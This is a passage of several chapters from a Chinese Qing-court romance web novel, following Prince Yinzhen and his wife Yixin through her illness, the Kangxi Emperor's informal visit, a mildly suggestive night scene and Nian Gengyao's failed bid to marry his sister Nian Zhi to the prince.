没关系,姚虞抹一把眼睛,大女子敢爱敢恨,到真的耗尽喜欢的时候,潇潇洒洒离开,她郭络罗姚虞拿得起,也输得起。 寝殿内只亮着一盏烛火,姚虞的馨香掠过胤禩,自顾自爬到床榻内侧,背对着外面的男人闭上眼睛。 胤禩心中微闷,道不明的情绪,他等在寝殿深夜未眠,担忧她离府不归,若是往常,她会凑过来笑盈盈哄着跟他解释不归的缘由,出府游玩也会给给他买珍贵的礼物。 或许是近日颓丧酗酒,不喜她痴缠,她听进去了吧。 胤禩向身侧女人靠了靠,手臂揽住她的腰肢,头埋在她的颈窝里,闷闷开口:“你最近怎么对我越来越不好了…以后不许这样了。” 姚虞翻个白眼,想着给他一胳膊杵,寻思寻思,转身抱住他的腰,胡乱“嗯”一声。 胤禩弯唇,在熟悉的馨香里闭上眼睛。 * 雍亲王府。 仪欣一连发热好几日,恹恹喘着气,卧床不起,可怜的跟猫儿似的。 “怎么还是烫人?”胤禛一日不知要碰多少次她的额头,有时候纵使不烫,他也觉得是发烫的。 他第一次知道,一个人生病会虚弱到这种程度,如同春日风絮,轻飘飘软绵绵的。 仪欣身子难受,呜咽着要他抱着,用膳也要抱着,胤禛议事处理政务都改为他们递信函禀报。 “我头疼。”仪欣眼睛熬的发红,轻落眼睑就会流泪。 一连几日半夜三更都发热,偶尔还会惊梦,睡不好也吃不下东西,哪里能不头痛呢,胤禛皱着眉轻吻她太阳穴,让她的脑袋埋在自己怀里。 一会儿胸膛处就湿了一片,她不舒服,心里也委屈,咬着唇,就是想掉眼泪,想撒娇,想哼哼唧唧和喜欢的人说好多软乎乎的话。 “不哭不哭,还有哪里不舒服?”胤禛哑着嗓子,急得心烦意乱,对苏培盛喊,“拿着本王的腰牌,进宫将所有太医都请来。” 苏培盛心里大惊,低着头上前接腰牌。 仪欣捂住胤禛的手,仰头委屈看着他,湿漉漉的眼尾上挑,“我每次喝药都很听话,还是不舒服,我不要太医…我要王爷。” “好…要王爷。”胤禛沉默咽下苦咸的东西,喂她喝完药后,将她藏在怀里,一遍遍轻拍她的脊背,哄着她能多睡一会。 苏培盛劝他不要亲力亲为照顾福晋,免得过了病气,谁能知他深更半夜凝视她发烫绯红的脸,一次次捻着佛珠,祈愿神佛将这病气过给他好了,别让她辗转难眠。 第44章何枝可依. 当日不仅死了一个五岁的孩子,还有七个百姓受伤,雍亲王亲自出面一一赔偿,保证他们今后生活衣食无忧。 胤禛事后派人调查事情始末,在蛛丝马迹里找到些不同寻常的东西,碍于仪欣病弱,腾不出手来料理。 …… “啪——”一个巴掌将女子扇倒在地。 “年枝,你丧心病狂的做了什么?!”年羹尧气冲冲撩袍坐到花厅上首,怒目盯着堂中瘫软在地的女子。 年枝慢慢抬头,唇角流下血来。 年羹尧胸膛起伏:“你知不知道城南那是谁在施善?!那是雍亲王福晋的铺子,不是八福晋!你纵然对八福晋做外室的折辱怀恨在心,也不该派人煽动城南百姓斗殴,家中对你千娇百宠,不是让你胡作非为的!” 对八福晋怀恨在心? 年枝慢吞吞爬起来,竟然想笑,却还是楚楚可怜垂下眼睛。 “哥哥,我没有。” “我替你扫的尾,你说你没有?”年羹尧起身,大步来到年枝身前,咬牙切齿的说,“不然你以为就凭你身边那两个侍卫,能挡得住雍亲王的追查吗?” 花厅里只有兄妹二人,年羹尧的护卫将灼华院围了起来。 年枝一愣,下意识问:“他在追查?” 他为什么要追查?为了那个富察氏吗?他那般清冷沉默的人,怎么可能会喜欢富察氏? 她那日看到四爷和富察氏在松林间亲吻,他在踮脚,在宠溺的笑,在给富察氏牵马… 她早就知道,不然也不会嫉妒至此。 “不然呢?”年羹尧怒气冲冲吼一句。 他不日便要到蜀地任职,竭尽全力讨好投诚雍亲王,若不是年枝愚蠢莽撞,怎会差点落了下乘。 年枝低头,才发现自己的眼泪大颗大颗落下,簌簌挂在旗装金线上。 “哥哥,我喜欢四爷。” 近水楼台先得月,她总要挣个机会。 “什么?”年羹尧先是惊愕,反应过来又露出喜色。 有什么同盟比姻亲还稳固呢?不管雍亲王是否绝嗣,那还能过继个年氏的孩子。 年枝抬头伸手向上抹去眼泪,似明珠璀璨般姣好的脸庞微微含笑,“三年前,在咱们府上的别庄,我纵马玩闹,然而骏马失控,是四爷派身边侍卫救下了我。” “所以,你每年都要在别庄住大半年,是为了等雍亲王?”年羹尧反应过来,觉得荒唐又合理,抬手指着她斥骂一句。 “是,所以我根本不是为了报复八福晋。” 年枝有些偏执的笑了,谁能懂她爱那个人的感受呢,三年间,每一次惊鸿一瞥,她都会在深夜里执笔写下当时的情景,极尽词藻勾勒不出他一寸清冷。 “糊涂东西,你可以告诉哥哥,但千不该万不该去挑衅雍亲王福晋,你知不知道自己闯了多大祸端!昨夜,因为你,死了一个孩子!” “我没有想过伤害孩子!” 年枝忍不住反驳,自缢留下的后遗症让她的喉咙糙哑如树皮,“我不告诉你,是因为你和父亲都算计着拿我投诚未来储君。” 年羹尧见她执迷不悟,一巴掌甩在她的侧脸。 “我会给你争取,这段日子,你在灼华院好好待着。” 说完,年羹尧大步离开,命人锁上房门。 年枝瘫软在地,得偿所愿的喜悦爬满全身,她轻轻抿唇笑着,不一会儿又有点想哭。 她想回忆一下,哥哥是从什么时候开始不疼她的呢? 她是家中幺女,父亲母亲溺爱,两个哥哥娇宠,她的骑马射箭都是哥哥亲手教授,二哥也曾在中举入世后豪言壮语,说要在朝堂上闯出一番天地,给妹妹选个最疼爱她的夫婿。 可不知何时,他会将她作为筹码压给八爷,任由八福晋欺凌她不置一言;他会跟她动手,让她以家族兴盛为先。 权势迷人眼啊。 她本名年金枝,意为“金枝玉叶”,她嫌弃“金”字沾惹铜臭,太过庸俗,于是改为“年枝”,到头来竟是何枝可依的“枝”。 “大小姐。”丫鬟在窗棂处呼唤她。 “我没事。” 年枝缓过神来,扶着椅背慢慢起身,她还是觉得期待,她只能远远看一眼的人,若是成为她的夫君,也好,真好。 …… “王爷,我要跟你讲一件事情。”仪欣跷着脚窝在美人榻上,故作淡定时不时瞟一眼身侧握着书卷的男人。 胤禛抬腕招呼一下:“过来,本王摸摸还烫不烫?” 仪欣美滋滋晃晃脑袋,俯身贴在他的手背上,“早就不烫了。” 胤禛弯唇,顺手拍一下她的脑门,含笑问:“你想讲什么事情呢?” 仪欣乖巧坐起来,蹭着挽上他的胳膊,谄媚蹭蹭蹭,老实交代,“王爷,我生病的时候,有时候没那么难受,但是就是想跟你说我很不舒服,就是想掉眼泪,就是想撒娇,想让你心疼我,不难受也想让你抱着哄着。但是有时候不是超级难受。” 胤禛扫她一眼,隐晦亲亲她的发顶,故意逗她,扭过头去闷闷不乐说,“哦,那你可太坏了。” 她又不是善于隐藏之人,她孰真孰假,他分得清。 她恹恹不乐,不如撒娇卖乖。 仪欣慢吞吞在美人榻上爬下去,胤禛伸出手臂护着她些。 眼见着她一溜烟钻到他面前,眼巴巴看着他。 胤禛弯唇,正要说什么,只听仪欣骄矜开口,“王爷,我赔你点钱吧,王爷照顾我辛苦了。” 胤禛一口气没上来,彻底黑脸,撂下手中书卷想出去透透气。 她日日骄矜说喜欢自己,实际上她那个喜欢跟浆糊似的,还粘着傻气,他整日整夜抱着哄着,教不出个聪明点的富察仪欣。 仪欣拦在他身前,低着头在荷包里翻腾,抓出一大把银票来,笑眯眯塞在胤禛的袖袋里拍了拍。 胤禛没招了,不打算再跟她掰扯银两的事。 他轻笑两声,手臂用力将她一把抱起来,仰头亲她,轻喘着含笑吩咐一句,“乖孩子,低头。” 仪欣眼神清澈明亮,眉眼弯弯,察觉不出胤禛的气恼,只觉他在同她玩闹,她娇憨小声说:“王爷,抱到寝殿亲亲。” 第45章康熙亲临雍亲王府 他感觉,只要一遇上她,好像他冰川消融,欲/望像涨潮一般。 自从别庄初次后,他和她没有再做过。 “王爷…你…”仪欣鬼鬼祟祟圆溜溜的眼睛看他。 胤禛闭了闭眼,轻声说:“仪欣先在本王身上下来。” 仪欣没有动,反而狡黠趴在他身上蹭了蹭,乌润润的眸子望着他,像是魅惑人间的小仙娥,胤禛又没招了。 她凑近闻他身上的气息,说不上来什么气息,就是感觉好香,嗅嗅脖子,扯扯佛珠,就是想趴在他身上不下来。 指尖本能般慢慢滑落在他的脖颈上,仪欣吞咽口水,小声请求一句:“王爷,我想在这里咬一口。” “嗯。咬吧…” 胤禛闭着眼轻轻“嗯”一声,然后他稳妥搂紧她的腰防止她掉下去。 放心仰起头,喉结滚动,等待怀中小兽带来的疼痛感。 仪欣埋在他的脖颈间,没有咬,反而是先舔了舔,胤禛酥酥麻麻胀满全身,下意识就喘出声来,她的皓齿触碰到布满苍青色血管的脖颈,呜呜囔囔轻轻用力,然后本能般轻吸。 留下一个圆滚滚的红痕。 仪欣心满意足爬下去,窝在床榻上欢喜偷偷笑,狡黠将手腕钻到他的佛珠里。 胤禛俯身将她压在身下,重重亲一口,抿唇纠结说:“今天晚上听话一点。” 听话一点… 仪欣面色绯红,双手捂住自己的嘴巴,反应过来赶紧捂他的嘴。 她的一双眼睛大而明亮,眼尾天然带着一抹淡淡的红晕,宛若桃花。 胤禛隐晦危险眯眼,摸了摸脖颈处,她怎么这么处处都可爱。 … 苏培盛慌里慌张在门衔处站定,见状放出声来。 “王爷,福晋,万岁爷白龙鱼服,已经进了雍亲王府后门了。” 谁???什么?! 仪欣求助看着胤禛,如惊弓之鸟,万岁爷来王府做什么? 两个人都算不上衣衫整洁,王爷颈间还有热乎乎的红痕。 来干什么?! 胤禛看她慌了,闷闷笑出声来。 她怎么跟偷情似的?刚刚不是胆子很大吗? 他手臂使劲将她捞起来,拂袖又理了理衣襟,“不急,仪欣去简单梳妆更衣,本王先去接驾。” 仪欣点点头。 胤禛大步离开,苏培盛小步匆匆跟上。 晴云带着两名丫鬟进内室为仪欣更衣梳妆。 仪欣和康熙接触极少,除了成亲第二日入宫拜见,初一十五进宫请安也只是不远不近行礼。 她不敢耽搁,更衣后匆匆到前院拜见,她慌乱也是担忧万岁爷会不会为难王爷。 仪欣多虑了。 康熙和胤禛坐在前院花厅饮茶,康熙坐在上首,胤禛温和跪坐垂眸认真煮茶。 康熙穿了一身浅青色布衫,腰间挂着枚玉佩,减淡威仪,倒是有些京中贵老爷的和蔼,只是他的眼眸太过摄人,久居上位,让人不敢直视他的眼睛。 “阿玛怎么出宫了?”胤禛轻声问。 “朕出宫逛逛,怎么回事,你这府上怎么伤病不断?”康熙纳闷,本来三名太医早该回宫,老四福晋又病了。 胤禛抬眸。 仪欣到花厅廊前听到的就是这句话,赶紧低下头翻个白眼。 她生病是因为身子弱,王爷生病那可都是万岁爷和他亲弟弟动的手,万岁爷怎么有脸问呢? 可怜的王爷。 胤禛笑着:“福晋身子弱些,换季病弱需要将养。” 梁九功笑着引仪欣向花厅走,这一路侍卫夹道值守,跟上朝似的。 “儿臣给皇阿玛请安。”仪欣笑盈盈跪地,一板一眼行礼。 康熙轻咳一声,“起来吧,你身子可还好吗?” 仪欣眉眼弯弯:“谢谢皇阿玛关心,儿臣已经大好了。” 康熙看着她明眸善睐,乖巧温顺的模样,也觉得心情不错,又看看胤禛寡淡冷峻的神情,心里怎么都觉得富察氏吃亏了。 “赐坐。”康熙笑呵呵挥挥手。 仪欣跪坐在胤禛身边,悄悄扯了扯他的佛珠,偏头就能看到他颈间齿痕。 胤禛偏头挑眉,给她斟一盏刚煮好的茶,轻声说:“和本王在这里陪阿玛聊会天,不必紧张。” “对,不必紧张,陪朕聊聊天。”康熙说。 阿玛。 仪欣捧着茶咂摸这两个字,咂摸一会,也没想明白,为什么不是皇阿玛。 胤禛起身亲自给康熙斟茶,温声说:“秋日偏凉,阿玛早膳可要少饮竹叶粥。” 康熙接过茶来,冷哼一声:“你何时入朝当差,难不成要老子来请你?原来你还记着朕用膳的事情?” 说完又阴阳怪气补充一句:“朕以为王爷贵人多忘事呢!” 胤禛两个多月不上朝,他早膳用的都别扭。 不上朝也行,总该隔三差五入宫看望他吧?谁知搬到别庄,一住就是整月。 老四不入宫去给他请安,难不成他要眼巴巴来看望他?不像话。 胤禛无奈笑笑,轻声唤一句:“阿玛…” “停。”康熙抬手,止住他,又忍不住冷哼,“朕不爱听,整日撒娇卖乖,像个什么样子!” 仪欣不满放下茶盏,为什么要凶王爷,王爷哪有撒娇卖乖。他整日绵软软的,上朝不知要被万岁爷和那些大臣欺负成什么样子。 仪欣绞尽脑汁想转移话题,琢磨半晌,说:“皇阿玛,不如传膳吧?” 康熙一愣,看了看天色,又愣愣看着胤禛,一时间忘了下句话说啥。 平日里他们晚膳都用这么早吗? 胤禛忍俊不禁,弯唇看着她,她最娇憨可爱,还见不得旁人对他凶巴巴的。 康熙稀里糊涂用上晚膳了。 用膳期间,气氛很松缓,仪欣一个劲给胤禛夹菜。 康熙一愣,竟然有些手足无措。 梁九功站在康熙身后谨慎夹菜,试膳太监忙个不停。 胤禛抬眸,将仪欣给自己夹的清蒸鲈鱼细嚼慢咽吃掉,玉箸夹起一块清蒸鲈鱼,放到康熙面前。 不恭敬,不拘谨,他面色如常开口:“阿玛,您尝尝这个。” “阿玛,”仪欣顺口唤一句,忙不迭真诚附和,“这个清蒸鲈鱼我和王爷都爱吃。” 康熙心里一阵异样,轻咳一声吃了那块清蒸鲈鱼,夸一句:“确实不错。” 第46章康熙亲临雍亲王府(2) 胤禛吃掉仪欣夹来的甜品,自然笑着夹给康熙:“阿玛,儿子尝着这个不错。” 康熙心里舒缓些,靠着椅背坐得舒服些,挥挥手示意试膳太监退下,亲自夹菜。 康熙见胤禛爱吃清蒸鲈鱼,拧巴着给他扔上一筷子。 “谢谢阿玛。”胤禛熟稔开口。 “你叫什么名字?”康熙闲聊随口问仪欣。 仪欣一愣,赶紧嚼嚼嚼,将食物咽下,认真回答:“儿臣名唤仪欣。” 胤禛在一旁添一句话:“仪态万方,欣欣向荣。” “好名字,”康熙夸一句,“性格也不错,马齐教导有方啊。” 仪欣娇憨得意仰了仰下巴,眼眸微弯,客气的话脱口而出:“皇阿玛把王爷也教导得很好。” 胤禛闷闷笑,康熙也愣了一瞬,也哈哈笑出声来,拍拍胤禛肩膀。 “我会钓鱼,那也是十多年前阿玛教的。”胤禛偏头跟仪欣温声解释,怕她尴尬,递过去一个她熟悉的话题,给她解围。 仪欣轻轻“哇——”一声,温软赞叹的声音像是温泉水里汩汩冒出的泡泡。 “阿玛,怪不得王爷钓鱼这么厉害,王爷在别庄上也教我钓鱼呢,钓上来时,可高兴了。” “哦?你也会钓鱼了?”康熙起了兴趣,笑呵呵讲了钓鱼叉鱼的旧事,还讲了历史上几个典故。 仪欣听得津津有味。 胤禛在一旁温声补充,纵容宠溺听着她说话。 他不怕她在康熙面前说错话,也不觉得她有些浅显幼稚的话可笑,只是觉得她可爱娇憨,偶尔言辞不当的地方,胤禛也能随口给她替她说得圆滑。 宜喜宜嗔,顾盼生辉。 仪欣说话习惯性夸奖对方,让人听着很舒服,娇俏而不谄媚,她言谈做事大大方方,真诚炽热,不拧巴也不卑怯,有什么闻所未闻的趣事,也能惊叹询问。 康熙环顾花厅,丹凤眼从仪欣和胤禛身上滑过,一个骄矜明媚,一个矜贵沉稳,佳儿佳妇,佳儿佳妇。 他说了很多话,突然有些天伦之乐的感觉,仿佛他是寻常人家的老翁,子不疑父,父不疑子,朝堂波云诡谲,勾心斗角,暂时化作云烟,遗落在四方紫禁城的红砖绿瓦间。 “胤禛,你我父子二人喝几杯。”康熙拍拍胤禛肩膀。 “好,儿子陪阿玛小酌几杯。” 胤禛挥手,示意苏培盛去温一壶酒。 梁九功低着头,心里惊骇万分。 四爷真的是,在万岁爷这里,独一份,太子殿下亦不能及。 旁人不晓,他却清楚,万岁爷这阵子隔三差五念叨四爷,时常挂怀王爷伤势。 不然今日出宫,如何直奔雍亲王府呢? 胤禛酒量极好,一壶酒饮尽仍是面不改色,他静静坐着,不出狂言,端肃沉稳。 只是他的手在桌下搭在仪欣的腿上。 康熙颇有雅兴,示意太监接着倒酒,凤眸眯着,开口询问:“怎么你喝点酒,脖颈还红一块呢?” 仪欣一下子紧张得跟鹌鹑似的,颇有点鬼鬼祟祟的意味。 胤禛拍拍她的腿,面不改色笑了一下,冷白手指按了按太阳穴,“儿子不胜酒力。” 康熙笑呵呵指了指他,有些狂放得意一饮而尽,感慨说:“你还得练。” “是,阿玛,儿子敬您。”胤禛双手执酒盏,举杯示意。 感受到身侧人儿悄悄松口气,胤禛又将左手搭在她的腿上。 仪欣不饮酒,百无聊赖,在桌下偷偷拨弄他的佛珠。 一顿饭吃了一个多时辰,得亏仪欣吩咐传膳早,不然时间会来不及。 康熙临走时,仪欣给他装了满满两个捧盒的糕点,只说是京中铺子新品,给皇阿玛尝鲜。 康熙心里熨帖,心旷神怡,高兴的将身上的玉佩扯下来赐给仪欣,又觉得不能厚此薄彼,摘掉大拇指的翡翠扳指扔给胤禛。 他喝了不少酒,不忘嘱咐胤禛早日当差。 最后由梁九功搀扶着上了一辆不起眼的马车。 胤禛静静站在雍亲王府后门,牵着仪欣的手,直至马车看不见,转身回府。 … 月上柳梢头,仪欣一身水汽,从汤泉池中赤着脚出来,两名丫鬟替她绞干墨发,将玫瑰香膏细细揉化在一寸寸肌肤。 之后,仪欣裹着大氅,由晴云搀扶着走到寝殿。 大氅落下,蚕丝纱衣堪堪笼着腰肢,手腕上碧绿佛珠,莲花菩提静静垂在手背。 比仪欣更早入怀的,是她的气息。 胤禛垂眸,抬眼略显醉态。 仪欣慢慢走近,小声咕哝一句:“王爷,你醉了吗?” 胤禛倚着床榻,寝衣大敞,露出胸膛,喉结滚动,轻轻“嗯”一声。 仪欣爬上床榻,翘着脚,开口:“王爷要早点睡。” 胤禛眯了眯眼睛,皱着眉头,轻“嘶——”一声。 仪欣见状,紧张得不行,忙问怎么了。 胤禛淡淡开口:“也没什么,只是醉酒头疼,喝过醒酒汤也不抵用。” “头疼还没什么?” 仪欣气呼呼让他枕在自己腿上,给他慢慢揉捏太阳穴,担忧地说,“明明用膳时还好好的,如今头疼了呢?” 胤禛淡淡笑了笑,随意说:“皇阿玛面前,怎能露出醉态,头疼与否,不过强撑着罢了。” 仪欣指尖一顿,心头止不住的愧疚。 王爷在用膳时强忍头痛,她怎么都没发现呢? 他还喝了那么多酒,频频给皇上敬酒,还要给皇上布膳,他都顾不上吃饭。 仪欣呜呜囔囔钻到胤禛怀里,脑子里都是凌乱的回忆,每月入宫请安,王爷和十四阿哥一同在永和宫用膳,桌上满是十四阿哥爱吃的膳食,偶尔有两道王爷爱吃的菜,也离他很远,他都不动筷子;还有万岁爷喜爱太子殿下人尽皆知,王爷日日恭敬侍奉皇上早膳,才能得两分偏爱,他自己都来不及用膳,只能在马车上吃两口。 “怎么了?”胤禛温声问。 仪欣想着就觉得委屈,哽咽一下。 “不管谁把王爷当成备选项,在我富察仪欣这里,王爷永远都是首选,是最最最重要的。” 胤禛攥了攥佛珠。 似乎是头疼,他闷吭一声,不紧不慢说:“刚刚没有听清,什么最重要的?” 第47章男人三分醉 胤禛闷闷笑一声,摘掉佛珠,将她压到身下。 他动作很强势,语气却很虚弱,带着明显的醉意:“若是没有富察仪欣,可怎么办呢?” 若有所指一句话,没头没尾,仪欣又脑补他孤苦伶仃一个人,仰头亲亲。 仪欣替他委屈,赶紧伸手替他擦眼泪,眨了眨眼,却发现是自己在哭。 她的眼眸是略浅的琥珀色,含着泪时如苍山洱海般空蒙,就看着他。 胤禛半跪在床榻上,俯身吻去她的眼泪,微醺着醉态,倚在床上,轻轻唤一句:“仪欣…仪欣…” “王爷,你醉了,是有仪欣的。” 仪欣扎到他怀里,一个劲跟他解释,他有仪欣呀,边解释边抓着他的手,让他摸摸热乎乎的她。 胤禛一只手臂突然搂紧她,跪着将某处抵在最热乎乎的地方。 他轻轻叹口气,嗓音低沉:“有仪欣吗?” “嗯。”仪欣有些害怕,又好心疼他,没有躲,反而主动缠上了他的腰,重复一遍,“有仪欣的。” 胤禛垂眸,猛兽狩猎般俯低身子,酒气落在她的耳边。 仪欣偏头,大着胆子亲亲他的侧脸,蹭到他的颈窝,在他耳边小声说了两个字。 ** 胤禛听清了,低头咬上她的脖颈,狮子般轻嗅,比她白日平添侵略和占有意味,把痕迹留在她白嫩的脖颈上。 “仪欣…疼就让夫君停下…” “啊…” 仪欣轻颤一下,没有喊停,但是,怎么样都要他亲亲她,一直亲她。 “怎么这么缠人?这样舒服吗?”胤禛状似无奈询问,不耽误挺腰。 仪欣咬唇止不住哭腔,抓住他的手。 胤禛俯身亲她,将她的身子化成温软的水,“哭出来,小乖…” “你不疼我了…为什么要…哭…”仪欣破碎控诉。 胤禛咬了咬唇,慢条斯理沉吟一会儿,怎么跟她解释呢。 “那仪欣白日为什么要咬本王呢?仪欣想让本王疼,就跟本王想让仪欣哭一会…一样的…” 仪欣觉得王爷说的有道理。 * 一个时辰。 “你要给我讲话本子。”软绵的声音吩咐道。 仪欣在床榻深处细细喘着气,水汪汪的眼睛瞪着他,鼻尖都是红红的。 “好,给仪欣讲话本子。” 胤禛温柔含笑抱着她,他闭着眼睛边轻拍她,一边回忆她话本子上讲得故事。 自从那日因为话本子凶她一句,胤禛总会习惯性翻翻她在读什么书,提醒自己跟她讲话要耐心些。 他并不算什么脾气好的人,淡漠又寡言,偶尔温和谦逊,多有客套虚伪的成分。 胤禛好像没有爱人的天赋,也没观察过寻常夫妻如何相处,只是在暗渠中摸索,当暗渠干涸后,他那些爱意才会直白曝晒在阳光里。 他的声音很温柔。 “从前有一只天生断尾的狐狸小妖,温药养百岁,百岁生辰刚过,她偷跑到人间游玩,恰逢破庙大火…幽蓝色祥云降至破庙荒山,骤雨落,宿命敲。” “……” “后来…狐狸小妖,佛光普照。” “再后来啊……” 仪欣将胳膊搭在他的胸膛上,软绵绵的,一会儿就呼噜噜睡着了。 胤禛亲亲她的额头,目光清明,觉得心里温软,眉眼含笑低声在她颈窝自言自语:“这是什么故事呢?嗯?” 仪欣觉得痒痒的,嗫嚅着嘴,推推他,又扎到怀里。 …… 昨夜深夜里下了一扬雨,仪欣没有察觉,胤禛浅眠,将她的耳朵轻轻掩住,酝酿些睡意。 他白日还要去见个人。 年府。 在屋落深檐时,年枝便睡不着了,坐在软榻上,翻看她三年来写得东西。 见到那个人的次数很少很少,她写了许多许多的字。 她会在雍亲王别庄后山的松林里逡巡,只盼能见他一面。 “小姐,您怎么醒了?”年枝的贴身丫鬟素燕听到房内动静,悄声进来又点了两盏烛火。 “素燕,我今日睡不着,你说我会得偿所愿吗?” 年枝热切看着她,今日哥哥就要带她去见王爷了,她心跳乱七八糟,手都有些战栗。 素燕:…… 年羹尧到灼华院时,见到年枝梳洗打扮,心里突然安定下来。 年枝一身嫣红色旗装,绣着大片芍药花,发髻簪着贵重的玫瑰发簪,可这一身装扮完全不掩盖她的容貌,肌肤胜雪,让人见之难忘。 “哥哥。”年枝腼腆低头唤一声。 年羹尧打量一下,肯定评价一句:“不错,确实不错。” 雍亲王不论是看年氏的势力,还是他妹妹的容貌,年羹尧都想不出四爷拒绝的理由。 信心满怀出门赴宴。 雍亲王府在春意楼有专属包厢,上首的位置还空着,身后是高山流水镂空楠木屏风。 雍亲王还未至。 左下首的邬思道笑着喝茶,看着对面的年羹尧和绝色女子,目光中总是有些兴致探究。 本来觉得王爷和年羹尧纽带不紧密,这台阶不就来了? 苏培盛将包厢门打开,恭敬弯着腰侍奉王爷进门。 胤禛见到有眼生女子,脚步一顿,不自觉皱眉,大步走到上首,一撩衣袍落座。 “本王刚刚送福晋去见友人,倒是来迟了。”胤禛淡淡开口。 年羹尧嘴边笑意瞬间牵强了,还是笑呵呵起身行礼,年枝站在年羹尧身后亦步亦趋跟着行礼。 “王爷和福晋恩爱甚笃,微臣羡慕,”年羹尧豪放笑了,将年枝往前拉了拉,“这是臣的妹妹……” 胤禛握着佛珠止住年羹尧话头,不耐烦开口,示意苏培盛:“先带年小姐出去,本王心脏不舒服。” 年枝猛得抬头,望着胤禛,愣愣看着他。 “哎呦,年小姐,您先请…” 苏培盛笑呵呵迎上去,伸手向包厢门口处,眼神示意身边小太监在春意楼再开一个包厢。 “王爷,您…这…”这是什么意思? 年羹尧也没想到雍亲王如此直白,脸色也难看起来。 邬思道笑着打圆扬,“王爷倒是偶尔有个怪病,闻不得脂粉气,不是年小姐的过错。” “王爷也闻不得福晋身上的脂粉气吗?”年枝不甘心,含着泪问出口。 第48章关你什么事? 胤禛啪嗒撂下佛珠,不耐烦随意看她一眼,随意摆摆手。 “哎呦,您请。”苏培盛腰弯得更低了,又提醒一遍。 年枝不知道自己怎么坐到隔壁包厢的,失魂落魄,不体面的跪倒在地上,怎么都回不过神。 喜欢他三年,他跟她说的第一句话,竟然是… 关你什么事? 包厢里的氛围有些凝滞,像是滞空的瀑布。 年羹尧脸色黑了,他脾气不好,虽然倚仗雍亲王在京中打点通融,可雍亲王也对他有倚仗。 雍亲王是什么人,怎么可能看不懂他要借妹妹结姻亲的意图,如此不给面子,就是扇他年羹尧的脸,更是扇了年氏的脸。 互利互惠的事情,他年羹尧不能一开始落了下风。 “王爷这是什么意思?”年羹尧冷瞥一眼苏培盛。 苏培盛面不改色,笑着哈哈腰。 胤禛喝一口茶,淡淡问一句:“今日本是给亮工饯行,难不成你要带亲妹一同上任巴蜀?” 邬思道心里一叹,王爷这嘴真损,饯行就饯行,你带你妹妹来做什么,给你妹也饯行? 可别结了仇。 年羹尧胸膛起伏,忍着又挂上笑意,“王爷说笑了,臣就这么一个妹妹,从小娇生惯养,疼宠万分,是年氏一族的掌上明珠。” 年羹尧一鼓作气,将话挑明,笑着说:“臣将要去川陕上任,此去经年,唯一放心不下的便是臣唯一的妹妹,只盼她有个好归宿。王爷天潢贵胄,若是臣的妹妹有福气入侍奉王爷,微臣愿为王爷效犬马之劳。” 邬思道其实有些意动。 王爷姻亲薄弱,年氏入府为侧福晋,顺理成章收拢年氏,养个女人而已,百益而无一害。 他开口垫一句话:“亮工兄的妹妹确实国色天香。” 胤禛不紧不慢捻着佛珠,等着年羹尧将话说完,想到什么,勾唇笑了笑:“可是,本王家中已经有一个娇生惯养的了。” 说完,他亲自提杯,漆黑淡漠的眸子看着年羹尧,手腕佛珠在酒盏后肆意垂着,从容不迫,带着矜贵沉稳的压迫感。 年羹尧自知没戏,权衡利弊后,赶紧起身弯腰回敬胤禛。 “微臣敬王爷。” 胤禛给面子的一饮而尽,这才开始用膳。 邬思道怕年羹尧有异心,席间多番言语试探,见他依旧恭敬又略微放下心来。 但是,他还是不赞同雍亲王的做法,纳一个侧福晋而已,王爷纵使不喜欢年氏,也没必要落年羹尧脸面,毕竟是要谋大事的。 … 仪欣和植宁约在照春芳见面。 植宁哭了一扬,此时伏在矮案上还在抽噎。 她比仪欣受到的伤害大许多,亲眼目睹孩提死在面前,经历城南那扬暴乱,她纵使身体底子不错,也大病一扬。 家中还在为她议亲,这事若不是雍亲王府出面摆平,怕是会让她今生都留有污点。 “仪欣,对不起,我阿玛不让我再出面经营酥阁事宜,对不起。”植宁哭着说。 今日植宁约仪欣见面,就是为了说清此事。 仪欣让她靠在自己肩膀上,“哪有什么对不起呢,要说对不起也该是我,那晚没有和你在一起面对。” “那晚还好你不在。”植宁抹一把眼泪,“还好你不在,不然我不敢想。酥阁的事,真的辜负和你共同的期许。” 植宁知道,仪欣从小便易受惊吓,身子孱弱。 仪欣一个劲拍她的脊背,给她顺气,又温声哄她:“没事的,咱们从小一起长大,咱们还可以一起做很多事情,不止经营酥阁,我会将酥阁打理好,日日给你送可口的小点心,好不好?” 她声音很轻,又觉得很心疼,抱住植宁也有点想哭:“植宁,你那晚肯定吓坏了。” 植宁不再经营酥阁,无论是西林觉罗氏的考量,还是她的畏惧心理,仪欣都尊重并且支持。 为了哄植宁,仪欣提议去春意楼用膳,用过午膳后,乘坐雍亲王府的马车去布庄裁制衣裳。 春意楼。 两名王府侍卫守在包厢门口,见仪欣从楼梯上拾级而上,拱手行礼。 “给福晋请安。” 雍亲王府的小厮迎上去笑着说:“福晋可有吩咐?” “挨着王爷的包厢温上茶,本福晋和植宁格格要用。”仪欣又补充一句,“提醒王爷少饮酒。” 那包厢里可还有年氏小姐。 小太监一时进退两难,“福晋您稍等。” 小太监正要硬着头皮进包厢请示王爷,年枝推门而出,站在隔壁包厢门口静静看着仪欣,目光怨恨又冷漠,眼睛哭得发红,“你要进来吗?” 仪欣皱眉,抬眼看她,“不知包厢是姑娘在用,打扰了。” 包厢未挂传膳牌,仪欣以为无人。 “是雍亲王让我在这里等候的,没想到吧。”年枝笑着说。 仪欣唇角抿直,朝着年枝走两步。 植宁拉住仪欣的衣袖,见此女子装扮不凡,倒是客气试探一句:“姑娘是何人?” 年枝上前两步,含着道不明的笑意,用只有两三个人听清的声音说:“我兄长是年羹尧,王爷正为他饯行,富察格格不妨借一步说话。” 富察格格。 去你的吧。 仪欣听得懂挑衅,一巴掌甩在年枝脸上,恶劣笑得花枝乱颤。 “哦,等你说人话之后,再跟本福晋借一步说话吧。你年氏是包衣,本福晋是上了皇室玉碟的亲王福晋,治你个僭越之罪,赏你一巴掌,不过分吧?” 年枝没想到她会直接动手,她没受过气,更何况是在富察氏面前,她咬牙恨的慌,反手要还回去。 “小心!” 植宁拉一把仪欣,这才躲过去。 仪欣稳住身子,见她还敢还手,气笑耸耸肩,挑衅指了指年枝,对着包厢门处的侍卫扬扬下巴:“按住她。” “植宁,你不能惹事,先去那个包厢喝茶,我过会儿进去找你。”仪欣娇俏推了推她。 植宁担忧蹙眉:“仪欣,那你…”你能惹事吗?年羹尧和雍亲王似乎还有往来。 